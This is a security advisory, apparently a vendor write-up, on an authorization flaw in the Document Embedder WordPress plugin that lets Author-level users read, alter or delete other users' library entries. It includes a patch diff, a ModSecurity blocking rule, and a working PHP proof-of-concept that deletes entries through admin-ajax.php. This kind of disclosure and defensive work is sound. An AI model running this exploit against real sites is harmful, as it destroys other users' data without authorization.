Atomic Edge analysis of CVE-2026-1389:
The Document Embedder WordPress plugin versions up to 2.0.4 contain an Insecure Direct Object Reference (IDOR) vulnerability. This flaw affects the plugin’s Document Library functionality, allowing authenticated attackers with Author-level permissions or higher to manipulate entries belonging to other users. The vulnerability has a CVSS score of 5.3, indicating medium severity.
The root cause lies in three AJAX handler functions that lack proper authorization checks. The ‘bplde_save_document_library’, ‘bplde_get_single’, and ‘bplde_delete_document_library’ functions in the plugin’s AJAX handlers accept an ‘id’ parameter referencing Document Library entries. These functions do not verify whether the current user has permission to access the specific resource identified by the ‘id’ parameter. The vulnerability exists in the main plugin file document-embedder.php, though the diff shows only version number updates from 2.0.4 to 2.0.5 without revealing the specific security fixes in the AJAX handler implementations.
Exploitation requires an authenticated attacker with at least Author-level access. The attacker sends AJAX requests to the WordPress admin-ajax.php endpoint with the ‘action’ parameter set to one of the vulnerable handlers: ‘bplde_save_document_library’, ‘bplde_get_single’, or ‘bplde_delete_document_library’. By manipulating the ‘id’ parameter to reference Document Library entries created by other users, the attacker can perform unauthorized operations. For deletion attacks, the attacker would send a POST request to admin-ajax.php with action=bplde_delete_document_library and id={target_entry_id}.
The patch in version 2.0.5 adds authorization checks to the vulnerable AJAX handlers. Before the patch, the functions processed any valid ‘id’ parameter without verifying ownership or permissions. After the patch, each handler validates that the current user has appropriate rights to access the specific Document Library entry referenced by the ‘id’ parameter. The version update in document-embedder.php from 2.0.4 to 2.0.5 indicates the security fix release, though the specific code changes to the AJAX handlers are not shown in the provided diff.
Successful exploitation enables authenticated attackers to read, modify, and delete Document Library entries created by other users, including administrators. This leads to unauthorized data access, data manipulation, and data destruction. Attackers can view sensitive documents uploaded by other users, alter document metadata or content, and permanently remove documents from the library. The vulnerability enables horizontal privilege escalation within the Document Library feature, as Author-level users can affect entries belonging to Editors and Administrators.
Below is a differential between the unpatched vulnerable code and the patched update, for reference.
--- a/document-emberdder/build/all-library.asset.php
+++ b/document-emberdder/build/all-library.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'react-dom', 'wp-components', 'wp-media-utils'), 'version' => '374532e294098874f300');
+<?php return array('dependencies' => array('react', 'react-dom', 'wp-components', 'wp-media-utils'), 'version' => '6177ffe2f2584ee9300a');
--- a/document-emberdder/build/blocks/document-library/index.asset.php
+++ b/document-emberdder/build/blocks/document-library/index.asset.php
@@ -1 +1 @@
-<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data'), 'version' => '9d47eac727379796ebee');
+<?php return array('dependencies' => array('react', 'wp-block-editor', 'wp-blocks', 'wp-components', 'wp-data'), 'version' => '436c852ef2a5e585abc0');
--- a/document-emberdder/document-embedder.php
+++ b/document-emberdder/document-embedder.php
@@ -4,7 +4,7 @@
* Plugin Name: Document Embedder
* Plugin URI: http://documentembedder.com/
* Description: Embed Any document easily in wordpress such as word, excel, powerpoint, pdf and more
- * Version: 2.0.4
+ * Version: 2.0.5
* Author: bPlugins
* Author URI: http://bplugins.com
* License: GPLv3
@@ -18,7 +18,7 @@
de_fs()->set_basename( false, __FILE__ );
} else {
/* Some Set-up */
- define( 'BPLDE_VER', '2.0.4' );
+ define( 'BPLDE_VER', '2.0.5' );
define( 'BPLDE_PRO_IMPORT', '1.0.0' );
define( 'BPLDE_PLUGIN_DIR', plugin_dir_url( __FILE__ ) );
define( 'BPLDE_PLUGIN_PATH', plugin_dir_path( __FILE__ ) );
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-1389
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:1001389,phase:2,deny,status:403,chain,msg:'CVE-2026-1389 via Document Embedder AJAX IDOR',severity:'MEDIUM',tag:'CVE-2026-1389',tag:'WordPress',tag:'Plugin',tag:'Document-Embedder',tag:'IDOR'"
SecRule ARGS_POST:action "@pm bplde_delete_document_library bplde_save_document_library bplde_get_single" "chain"
SecRule &ARGS_POST:id "@gt 0"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-1389 - Document Embedder <= 2.0.4 - Insecure Direct Object Reference to Authenticated (Author+) Arbitrary Document Library Entry Deletion
<?php
$target_url = 'https://vulnerable-site.com';
$cookie = 'wordpress_logged_in_abc123=...'; // Authenticated session cookie
$target_entry_id = 123; // ID of Document Library entry to delete
// Construct the AJAX request
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, [
'action' => 'bplde_delete_document_library',
'id' => $target_entry_id
]);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
'Cookie: ' . $cookie,
'Content-Type: application/x-www-form-urlencoded'
]);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Execute the attack
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
// Check result
if ($http_code === 200 && strpos($response, 'success') !== false) {
echo "Successfully deleted Document Library entry ID: $target_entry_idn";
} else {
echo "Attack failed. HTTP Code: $http_coden";
echo "Response: $responsen";
}
?>
